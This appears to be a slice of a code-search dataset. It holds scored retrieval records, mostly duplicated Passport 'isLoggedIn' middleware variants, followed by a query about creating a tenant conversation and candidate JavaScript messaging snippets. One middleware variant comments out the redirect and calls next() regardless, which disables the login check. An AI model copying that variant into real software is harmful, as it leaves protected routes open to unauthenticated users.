"text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "459ad9b0f9c32ab2e4f0a65c53086f20", "score": "0.7692393", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "459ad9b0f9c32ab2e4f0a65c53086f20", "score": "0.7692393", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "664c1e59563cf19ff69b920f089e4b01", "score": "0.7691771", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/signin');\n}", "title": "" }, { "docid": "113e3d461ab1d41a1e9a1bbaa4b1f21c", "score": "0.76884604", "text": "function isLoggedIn(req, res, next){\n \n if(req.isAuthenticated()){\n \n return next();\n }\n \n res.redirect(\"/login\");\n }", "title": "" }, { "docid": "1aaf46a3e9a6d6836be01fd6bd12e47f", "score": "0.7686587", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated()) \n \n return next();\n\n res.redirect(\"/\");\n }", "title": "" }, { "docid": "d0ae7d3f7d09d633758759cfba814712", "score": "0.76850206", "text": "function isLoggedIn(req,res,next){\n console.log(\"isLoggedIn called!\");\n if(req.isAuthenticated()){\n console.log(\"user \" + req.body.username + \" is authenicated!\")\n return next();\n }\n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "9921b54e64ce8756fbc630ce63c547cc", "score": "0.76840717", "text": "function isLoggedIn(req, res, next) {\n\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "9921b54e64ce8756fbc630ce63c547cc", "score": "0.76840717", "text": "function isLoggedIn(req, res, next) {\n\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "4c3ef213c62332edbd76e734b693a42f", "score": "0.76741314", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "4c3ef213c62332edbd76e734b693a42f", "score": "0.76741314", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "f7c9430642bcf05a59cc046cb6466e50", "score": "0.76702744", "text": "function isLoggedIn(req, res, next) {\n\n // if user is authenticated in the session, carry on\n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n\n}// end isLoggedIn()", "title": "" }, { "docid": "798f416487c930fda9e999511d7133e4", "score": "0.7668105", "text": "function isLoggedIn(req, res, next) {\n\n // if user is authenticated in the session, carry on\n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n }", "title": "" }, { "docid": "669f881efbfe829d42714cda8b96aa20", "score": "0.7662067", "text": "function isLoggedIn(req, res, next) {\n\n if (req.isAuthenticated())\n\n return next();\n\n res.redirect('/signin');\n\n }", "title": "" }, { "docid": "44d930c3e59cc9f383a0030fafdb92e2", "score": "0.7660801", "text": "function isLoggedIn (req, res, next) {\n if (req.isAuthenticated()) return next()\n res.redirect('/')\n}", "title": "" }, { "docid": "290960f3d52d42b6d20ac210da222484", "score": "0.7657614", "text": "function loggedIn(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/');\n}", "title": "" }, { "docid": "68f284a0de10b8add05c8f84fd5bd01e", "score": "0.76560843", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "09a5e3dc2114d1db95244b3cff935f0c", "score": "0.76523703", "text": "function isLoggedIn(req, res, next){\n if (req.isAuthenticated()){\n next();\n }else{\n res.redirect(\"/login\");\n }\n}", "title": "" }, { "docid": "24a1a82723b520f8d3ba523ba170ca1b", "score": "0.7651604", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n \n res.redirect('/');\n}", "title": "" }, { "docid": "1ca230a7f5b519ba01541b9b956222af", "score": "0.7650091", "text": "function isLoggedIn(req, res, next){\n if(req.user){\n next();\n } else {\n res.redirect('/login');\n }\n}", "title": "" }, { "docid": "79d96962e73a48e2c2ee8b0ec5831169", "score": "0.7649595", "text": "function isLoggedIn(req, res, next) {\n\n // if user is authenticated in the session, carry on\n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/voting_app');\n}", "title": "" }, { "docid": "3437560a93334061095ef4bb90f37e2a", "score": "0.7647016", "text": "function isLoggedIn(req, res, next) {\n console.log('isLoggedIn middleware'); \n if (req.isAuthenticated()) {\n console.log(\"successful login!\")\n return next(); \n } else { \n console.log(\"BAD LOGIN\")\n res.redirect('/');\n }\n}", "title": "" }, { "docid": "5346cf0ddd59dec2f34b0b7f25d2637f", "score": "0.76467854", "text": "function isLoggedIn(req, res, next) {\n\n if (req.isAuthenticated())\n\n return next();\n\n res.redirect('/login');\n\n }", "title": "" }, { "docid": "e78d295e8c21d85e9e0c6bbdb7db0fa9", "score": "0.76456666", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "905175f2081a9bede2c436fe7d90955d", "score": "0.7645304", "text": "function isLoggedIn(req, res, next) {\n \n // if user is authenticated in the session, carry on \n if (req.isAuthenticated())\n return next();\n \n // if they aren't redirect them to the home page\n res.redirect('/');\n }", "title": "" }, { "docid": "a5d6eb6c518742d62ad5da8d7d0739d0", "score": "0.76445955", "text": "function isLoggedIn(req, res, next) {\r\n if (req.isAuthenticated()) {\r\n return next();\r\n }\r\n res.redirect('/');\r\n }", "title": "" }, { "docid": "14da90d60c425b5074865996d8774192", "score": "0.76417035", "text": "function isloggedin(req,res,next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/users/login\");\n}", "title": "" }, { "docid": "41658fd88764827f34aeeba68e37400b", "score": "0.76410127", "text": "function isLoggedIn(req, res, next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/login\")\n}", "title": "" }, { "docid": "4ae3f9d71b34e12a71b1d447a13aa7b9", "score": "0.7639987", "text": "function isLoggedIn(req, res, next) \n{\n\n // if user is authenticated in the session, carry on \n if (req.isAuthenticated())\n {\n return next();\n }\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n}", "title": "" }, { "docid": "4a1710c31994952e2831bd1fb836a161", "score": "0.7638246", "text": "function isLoggedIn(req, res, next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "4a1710c31994952e2831bd1fb836a161", "score": "0.7638246", "text": "function isLoggedIn(req, res, next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "4a1710c31994952e2831bd1fb836a161", "score": "0.7638246", "text": "function isLoggedIn(req, res, next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "9de740906b453f162c4d44488196f245", "score": "0.7638123", "text": "function isLoggedIn(req, res, next)\n{\n if(req.isAuthenticated()){\n return next();\n }\n \n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "423da1763c596dcfe90354ac8628898f", "score": "0.7635965", "text": "function isLoggedIn(req, res, next) {\n console.log('000');\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "82cd83034dd5cae70b870235ebdd91a2", "score": "0.76319855", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n //res.redirect('/');\n return next();\n}", "title": "" }, { "docid": "7fcdf4bb3f22cc44e5424878907d6c95", "score": "0.76306903", "text": "function isLoggedIn(req,res,next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "7fcdf4bb3f22cc44e5424878907d6c95", "score": "0.76306903", "text": "function isLoggedIn(req,res,next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "265ec18b4ea8459d457475417a741dfc", "score": "0.7629707", "text": "function isLoggedIn(req, res, next) {\n\n // if user is authenticated in the session, carry on\n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n }", "title": "" }, { "docid": "ea833831300d0e107b2ee49a91fcc85c", "score": "0.762736", "text": "function isLoggedIn(req, res, next) {\n\n // if a user is authenticated in the session, carry on\n if (req.isAuthenticated()) {\n return next();\n } else {\n res.redirect('/');\n }\n}", "title": "" }, { "docid": "e9e07a5587c30e9208b6929b221ae01b", "score": "0.7627252", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated()) {\n return next();\n }\n res.redirect('/');\n}", "title": "" }, { "docid": "124997d30966ca40ffd246762562c1b2", "score": "0.76261586", "text": "function isloggedin(req,res,next){\n if(req.isAuthenticated()){\n return next();\n }\n res.redirect(\"/login\");\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "d7dfcba0d4efe0ad543ae1d84898da76", "score": "0.7623673", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "9fa57027422cb452875f490fa7373294", "score": "0.76233995", "text": "function isLoggedIn (req, res, next) {\n\t\tif (req.isAuthenticated()) {\n\t\t\treturn next();\n\t\t} else {\n\t\t\tres.redirect('/');\n\t\t}\n\t}", "title": "" }, { "docid": "486eb1db1f97e43f197971c81cd7e775", "score": "0.76109725", "text": "function isUserAuthenticated(req, res, next) {\n if (req.user) next();\n else res.send(\"No autenticado\");\n}", "title": "" }, { "docid": "43d185fcd37320f1f6ba192e71edb912", "score": "0.76104736", "text": "function isLoggedIn(req,res,next)\r\n {\r\n if(req.isAuthenticated()){\r\n return next();\r\n }\r\n res.redirect('/');\r\n }", "title": "" }, { "docid": "165315fad7ae0a90cf9f627daed19f56", "score": "0.7608451", "text": "function isAuthenticated(req, res, next) {\n if (req.user) return next(); //there is an authenticated user\n res.redirect('/users/signin'); //send them to the login page\n}", "title": "" } ]
427524710cf46d9559e4392243a046ae
Navigates to the messages page and creates a new conversation with the specified tenant.
[ { "docid": "f271e4366befa972617182bce5fe3947", "score": "0.7013967", "text": "function composeMessageToTenant(tenant) {\n router.navigate('#messages/' + tenant.Id());\n }", "title": "" } ]
[ { "docid": "31b9afcbc0122b567c6f53055032bd9d", "score": "0.5473573", "text": "static async postMessages (req, res) {\n let { messages } = req.body\n\n if (typeof messages === 'string') {\n try {\n messages = JSON.parse(messages)\n } catch (e) {\n res.status(400).json({ result: null, message: 'Invalid \\'messages\\' parameter' })\n return\n }\n }\n\n try {\n const bot = await Bot.findById(req.params.bot_id).populate({\n path: 'conversations', populate: { path: 'channel', model: 'Channel' },\n }).exec()\n\n for (const conversation of bot.conversations) {\n await MessagesController.postToConversation(conversation, messages)\n }\n res.status(201).json({ results: null, message: 'Messages successfully posted' })\n } catch (ex) {\n res.status(500).json({ results: null, message: 'Error while posting message' })\n }\n }", "title": "" }, { "docid": "0ed8cdbe39ee400908f7fa11ad5178be", "score": "0.5430545", "text": "message(conversation) {\n let tabs = document.querySelectorAll('.show-tabbar');\n if (tabs !== null) {\n Object.keys(tabs).map((key) => {\n tabs[key].style.display = 'none';\n });\n }\n console.log(\"conversation message()\", conversation);\n this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_6__message_message__[\"a\" /* MessagePage */], {\n idConversation: conversation.conversationId,\n session: conversation.sessionke,\n day: conversation.scheduleId,\n confirmation: conversation.confirmation,\n inSession: conversation.inSession,\n sender: conversation.key,\n name: conversation.name,\n });\n }", "title": "" }, { "docid": "2a99b84cd69213cecf4477b37d02d35f", "score": "0.53143835", "text": "function CreateMessagePage(formBuilder, completerService, navCtrl, navParams, storage, loadingCtrl, toastCtrl, messagesService, public) {\n var _this = this;\n this.formBuilder = formBuilder;\n this.completerService = completerService;\n this.navCtrl = navCtrl;\n this.navParams = navParams;\n this.storage = storage;\n this.loadingCtrl = loadingCtrl;\n this.toastCtrl = toastCtrl;\n this.messagesService = messagesService;\n this.friendsList = [];\n this.getFriendsListobj = [];\n this.submitAttempt = false;\n this.subject1 = '';\n this.customErr = false;\n this.storage.ready().then(function () {\n storage.get('user_type').then(function (user_type) { _this.user_type = user_type; });\n storage.get('imageurl').then(function (imageurl) { _this.imageUrl = imageurl; });\n storage.get('token').then(function (token) {\n _this.token = token;\n _this.getFriendsList();\n });\n });\n this.toAddress = navParams.get(\"to\");\n this.subject = navParams.get(\"subject\");\n this.message = navParams.get(\"message\");\n this.messageForm = formBuilder.group({\n toAddress: ['', Validators.compose([Validators.required])],\n subject: ['', Validators.compose([Validators.required])],\n message: ['', Validators.compose([Validators.required])]\n });\n }", "title": "" }, { "docid": "eec46742609ad8ba461c8f0821f32264", "score": "0.5293124", "text": "function Conversation(conversationPartial) {\n // Check localStorage exists, if not. Create it.\n if(localStorage.getItem('messages') === null) localStorage.setItem('messages', JSON.stringify({count: 0, items: []}));\n\n\n var model = new ConversationModel(),\n view = new ConversationView(model, conversationPartial);\n return new ConversationController(model, view);\n}", "title": "" }, { "docid": "932e258b58d921a4e038e199c5e36d88", "score": "0.5286125", "text": "static async sendMessage (conversation, message) {\n await agent('POST', `https://graph.facebook.com/v2.6/me/messages?access_token=${conversation.channel.token}`)\n .send(message)\n }", "title": "" }, { "docid": "d0c89d87656868c045ed3c1491fa8b08", "score": "0.5240188", "text": "function chatMessagesCreate(req, res, next) {\n req.body.sender = req.currentUser;\n Chat\n .findById(req.params.id)\n .then(chat => {\n const message = chat.messages.create(req.body);\n chat.messages.push(message);\n chat.save()\n .then(() => res.json(message));\n })\n .catch(next);\n}", "title": "" }, { "docid": "4f80b992f784c5970f74a603634dd8be", "score": "0.5233398", "text": "function _open_conversation(params, callback) {\n var conv_list = yvBase.get_list(\"conversation\"), conv = null;\n\n for (var i in conv_list) {\n conv = conv_list[i];\n if (conv.type === params.conversation_type && conv.name === params.conversation_name) {\n yvBase.active(\"conversation\", conv);\n callback && callback(conv);\n return;\n }\n }\n\n yvAPI.create_conversation(params, function (data) {\n _add_conversation(data, function (conversation) {\n yvBase.active(\"conversation\", conversation);\n callback && callback(conversation);\n });\n });\n }", "title": "" }, { "docid": "27b0a4a2a3f634d3382341e4fc013aa3", "score": "0.5186394", "text": "function postConversationMessage(text) {\n var data = { 'input': { 'text': text } };\n if (context) {\n data.context = context;\n }\n Api.setUserPayload(data);\n var http = new XMLHttpRequest();\n http.open('POST', messageEndpoint, true);\n http.setRequestHeader('Content-type', 'application/json; charset=utf-8');\n http.onload = function () {\n if (http.status === 200 && http.responseText) {\n var response = JSON.parse(http.responseText);\n context = response.context;\n Api.setWatsonPayload(response);\n } else {\n Api.setWatsonPayload({\n output: {\n text: [\n 'The service may be down at the moment; please check' +\n ' <a href=\"https://status.ng.bluemix.net/\" target=\"_blank\">here</a>' +\n ' for the current status. <br> If the service is OK,' +\n ' the app may not be configured correctly,' +\n ' please check workspace id and credentials for typos. <br>' +\n ' If the service is running and the app is configured correctly,' +\n ' try refreshing the page and/or trying a different request.'\n ]\n }\n });\n console.error('Server error when trying to reply!');\n }\n };\n http.onerror = function () {\n console.error('Network error trying to send message!');\n };\n\n http.send(JSON.stringify(data));\n }", "title": "" }, { "docid": "a9ddb1302e6e0572247e44066f5488b7", "score": "0.5167644", "text": "message(req, res) {\n sails.log.info(`New message: ${JSON.stringify(req.body)}`);\n console.log(`New message: ${JSON.stringify(req.body)}`);\n\n const messages = req.body.entry[0].messaging;\n for (let i = 0; i < messages.length; i++) {\n const userMessage = Message.fromMessenger(messages[i]);\n ConversationService.processMessage(userMessage);\n }\n\n res.status(200);\n res.send();\n }", "title": "" }, { "docid": "2a9250d0df19889a15e129e8cb36530d", "score": "0.50991243", "text": "function postConversationMessage(text) {\n var data = {'input': {'text': text}};\n if (context) {\n data.context = context;\n }\n // console.log(context);\n Api.setUserPayload(data);\n var http = new XMLHttpRequest();\n http.open('POST', messageEndpoint, true);\n http.setRequestHeader('Content-type', 'application/json; charset=utf-8');\n http.onload = function() {\n if (http.status === 200 && http.responseText) {\n var response = JSON.parse(http.responseText);\n context = response.context;\n Api.setWatsonPayload(response);\n } else {\n Api.setWatsonPayload({output: {text: [\n 'The service may be down at the moment; please check' +\n ' <a href=\"https://status.ng.bluemix.net/\" target=\"_blank\">here</a>' +\n ' for the current status. <br> If the service is OK,' +\n ' the app may not be configured correctly,' +\n ' please check workspace id and credentials for typos. <br>' +\n ' If the service is running and the app is configured correctly,' +\n ' try refreshing the page and/or trying a different request.'\n ]}});\n console.error('Server error when trying to reply!');\n }\n };\n http.onerror = function() {\n console.error('Network error trying to send message!');\n };\n\n http.send(JSON.stringify(data));\n }", "title": "" }, { "docid": "17d000bb2f83635a9ed47e1c4626d151", "score": "0.50920594", "text": "async function createMessage() {\n console.log('create',formData, '\\nmessages', messages)\n await Api.serverApi.messages.create(formData)\n setMessageCreated(true)\n }", "title": "" }, { "docid": "38eec5312400c146da75a148434de3e7", "score": "0.508434", "text": "function insert() {\n return Peerio.SqlQueries.createConversation(\n this.id,\n this.seqID,\n this.originalMsgID,\n this.participants,\n this.exParticipants,\n this.lastTimestamp,\n this.isGhost\n );\n }", "title": "" }, { "docid": "66c117cfea28a832f72ea0f313014d56", "score": "0.5025756", "text": "static async postMessage (req, res) {\n const { conversation_id } = req.params\n const { senderId, chatId } = req.body\n let { messages } = req.body\n const opts = { senderId, chatId }\n\n if (!messages) {\n res.status(400).json({ message: 'Invalid \\'messages\\' parameter', results: null })\n return\n } else if (typeof messages === 'string') {\n try {\n messages = JSON.parse(messages)\n } catch (e) {\n res.status(400).send('Invalid \\'messages\\' parameter')\n return\n }\n }\n\n let convers = null\n\n Conversation.findById(conversation_id)\n .populate('participants channel bot')\n .exec()\n .then(conversation => {\n convers = conversation\n if (!conversation) { throw new notFoundError('Conversation') }\n return MessagesController.bulkCheckMessages([conversation, messages, opts])\n })\n .then(MessagesController.bulkSaveMessages)\n .then(MessagesController.bulkFormatMessages)\n .then(MessagesController.bulkSendMessages)\n .then(() => res.status(201).json({ results: null, message: 'Messages successfully posted' }))\n .catch(err => {\n if (err instanceof ConnectorError) {\n res.status(503).json({\n message: `An error occured while sending message to ${convers.channel.slug}`,\n results: {\n channel: {\n type: convers.channel.type,\n slug: convers.channel.slug,\n },\n conversation: convers.id,\n },\n })\n } else {\n handleMongooseError(err, res, 'Error while posting messages')\n }\n })\n }", "title": "" }, { "docid": "6649d33056b95df48ff0ae5d88782bf4", "score": "0.5014241", "text": "function createConversation(options) {\n assert(isVoid(options) || isDictionary(options));\n options = options || {};\n var conversation = createConversationModel({\n isConference: getOption(options, 'isConference', true),\n threadId: options.threadId,\n topic: options.topic,\n priority: options.priority,\n participants: options.participants // unit tests may give a collection mock\n });\n addConversation(conversation);\n return conversation;\n }", "title": "" }, { "docid": "84f1ef040a5abc93b15fecb3f63fb941", "score": "0.4993503", "text": "static async sendMessage (conversation, messages) {\n const data = {\n From: conversation.channel.phoneNumber,\n MessagingServiceSid: conversation.channel.serviceId,\n To: '',\n Body: '',\n }\n for (const message of messages) {\n data.Body = message.body\n data.To = message.to\n await agent('POST', `https://api.twilio.com/2010-04-01/Accounts/${conversation.channel.clientId}/Messages.json`)\n .auth(conversation.channel.clientId, conversation.channel.clientSecret)\n .type('form')\n .send(data)\n }\n }", "title": "" }, { "docid": "49f3b71b4d87ac142486d5d8301b376e", "score": "0.4949265", "text": "function setupConversationsObject(conversationArray) {\n var conversations = {};\n angular.forEach(conversationArray, function(conversation) {\n setRecipient(conversation);\n conversations[conversation.id] = {\n show: conversation.recipientUsername !== AccountService.getUsername() ? true: false,\n id: conversation.id,\n messages: conversation.messages,\n messageObjects: (function() {\n var messages = {};\n angular.forEach(conversation.messages, function(message) {\n messages[message.id] = {\n id: message.id,\n from: message.from,\n to: message.to,\n likedBy: message.likedBy,\n content: message.content\n };\n });\n return messages;\n }()),\n peers: conversation.peers\n };\n });\n return conversations;\n }", "title": "" }, { "docid": "c308ef909a01008ab30a01fc99c20d75", "score": "0.49484822", "text": "function sendMessage(recipientId, message) {\n request({\n url: \"https://graph.facebook.com/v2.6/me/messages\",\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: \"POST\",\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log(\"Error sending message: \" + response.error);\n }\n });\n }", "title": "" }, { "docid": "26ce70e84938aeed303df89e91cc948f", "score": "0.49407026", "text": "function sendMessage(recipientId, message) { \n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: 'POST',\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log('Error sending message: ', error);\n } else if (response.body.error) {\n console.log('Error: ', response.body.error);\n }\n });\n}", "title": "" }, { "docid": "e4356204954c0f582982f66616eaed6a", "score": "0.48902896", "text": "function messagesCreate(req, res) {\n Offer.findById(req.params.id)\n .then(offer => {\n if (!offer) res.status(404).json({ error: 'Offer Not Found' })\n offer.message.push({ ...req.body, user: req.currentUser })\n return offer.save()\n })\n .then(messages => res.status(201).json(messages))\n .catch(err => {\n if (err.name === 'ValidationError') {\n res.status(422).json(err)\n } else {\n res.status(500).json(err)\n }\n })\n}", "title": "" }, { "docid": "71ddf1f212c128f9762743c51565b9c7", "score": "0.48795417", "text": "function newMessage(message, client, tms) {\n newMessage = {message, user: getUsername(client.id), tms}\n chatHistory.push(newMessage);\n return newMessage;\n }", "title": "" }, { "docid": "20e9f72c1cabe6e86c40e9681095186f", "score": "0.4876973", "text": "send() {\n if (this.message) {\n // User entered a text on messagebox\n if (this.conversationId) {\n // Add Message to the existing conversation\n // Clone an instance of messages object so it will not directly be updated.\n // The messages object should be updated by our observer declared on ionViewDidLoad.\n let messages = JSON.parse(JSON.stringify(this.messages));\n messages.push({\n date: new Date().toString(),\n sender: __WEBPACK_IMPORTED_MODULE_5_firebase__[\"auth\"]().currentUser.uid,\n type: 'text',\n message: this.message\n });\n // Update conversation on database.\n console.log(messages);\n this.dataProvider.updateConversation(this.conversationId).update({\n messages: messages\n });\n // Clear messagebox.\n this.message = '';\n }\n else {\n // New Conversation with friend.\n var messages = [];\n messages.push({\n date: new Date().toString(),\n sender: __WEBPACK_IMPORTED_MODULE_5_firebase__[\"auth\"]().currentUser.uid,\n type: 'text',\n message: this.message\n });\n var users = [];\n users.push(__WEBPACK_IMPORTED_MODULE_5_firebase__[\"auth\"]().currentUser.uid);\n users.push(this.userId);\n // Add conversation.\n this.angularfireDatabase.list('conversations').push({\n dateCreated: new Date().toString(),\n messages: messages,\n users: users\n }).then((success) => {\n let conversationId = success.key;\n this.message = '';\n // Add conversation reference to the users.\n this.angularfireDatabase.object('/users/' + __WEBPACK_IMPORTED_MODULE_5_firebase__[\"auth\"]().currentUser.uid + '/conversations/' + this.userId).update({\n conversationId: conversationId,\n messagesRead: 1\n });\n this.angularfireDatabase.object('/users/' + this.userId + '/conversations/' + __WEBPACK_IMPORTED_MODULE_5_firebase__[\"auth\"]().currentUser.uid).update({\n conversationId: conversationId,\n messagesRead: 0\n });\n });\n }\n }\n }", "title": "" }, { "docid": "b2b0d32aefe9559160ca44635bcf0960", "score": "0.48707804", "text": "function sendMessage(recipientId, message) {\n request({\n url: \"https://graph.facebook.com/v2.6/me/messages\",\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: \"POST\",\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log(\"Error sending message: \" + response.error);\n }\n });\n}", "title": "" }, { "docid": "2066d4bda86afcfc86e9ca1f84f1bb2e", "score": "0.48662823", "text": "createMessage(data) {\n if (data.Message.Message_data.MESSAGE && data.Message.Message_data.MESSAGE[\"BODYTYPE\"] == \"STRING\") {\n if (data.Message.Message_data.MESSAGE.BODY && data.Message.Message_data.MESSAGE.BODY != \"\") {\n var ResponseText = data.Message.Message_data.MESSAGE.BODY;\n var sayss = {\n speaks: data.From_Participant_ID == this.props.conversationData.from_participant_id ? \"me\" : \"bot\",\n msg: {\n text: {\n text: ResponseText\n },\n url: \"\",\n tableItems: []\n },\n reply_to: data.Message.reply_to\n };\n this.setState({\n messages: [...this.state.messages, sayss]\n });\n } //Adding an IFrame if exist\n\n\n if (data.Message.Message_data.MESSAGE.IFRAME && data.Message.Message_data.MESSAGE.IFRAME != \"\") {\n var iframeSays = {\n speaks: \"bot\",\n url: data.Message.Message_data.MESSAGE.IFRAME,\n type: \"iframe\"\n 